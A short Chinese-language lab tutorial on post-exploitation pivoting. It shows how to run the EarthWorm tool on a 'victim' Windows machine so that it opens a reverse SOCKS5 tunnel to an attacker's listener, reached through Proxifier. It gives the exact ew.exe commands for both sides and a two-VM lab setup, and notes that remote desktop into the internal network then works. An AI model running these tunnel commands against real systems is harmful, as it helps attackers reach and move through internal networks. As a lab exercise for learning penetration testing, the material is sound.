反向 攻击者EarthWorm是一款用于开启 SOCKS v5 代理服务的工具,基于标准 C 开发,可提供多平台间的转接通讯,用于复杂网络环境下的数据转发。
Proxifier是一款功能非常强大的socks5客户端,可以让不支持通过代理服务器工作的网络程序能通过HTTPS或SOCKS代理或代理链。
ew.exe -s rcsocks -l 1080 -e 8888
受害者win
ew.exe -s rcsocks -d 攻击者ip -e 8888
实验环境:
Windows Server R2 x64(192.168.70.128、10.1.1.1)Windows Server (10.1.1.2)IIS服务器EarthWormproxifier环境搭建:
为win添加一块网卡,ip设为10.1.1.1
将win的网络选成VM1
将ip设为10.1.1.2
将win的IIS服务器写上网页内容,并且保证win能够访问到
两台机器开启均开启远程桌面
将EarthWorm上传到win上
模拟实验:
进入ew所在目录cd E:\学习资料\后渗透\day0318\ew
输入ew_for_Win.exe -s rcsocks -l 1080 -e 8888
win中输入ew.exe -s rssocks -d 192.168.0.14 -e 8888
然后proxifier代理ip设为127.0.0.1端口为1080
连接成功后会有大量数据传输
此時远程桌面也是可以连接的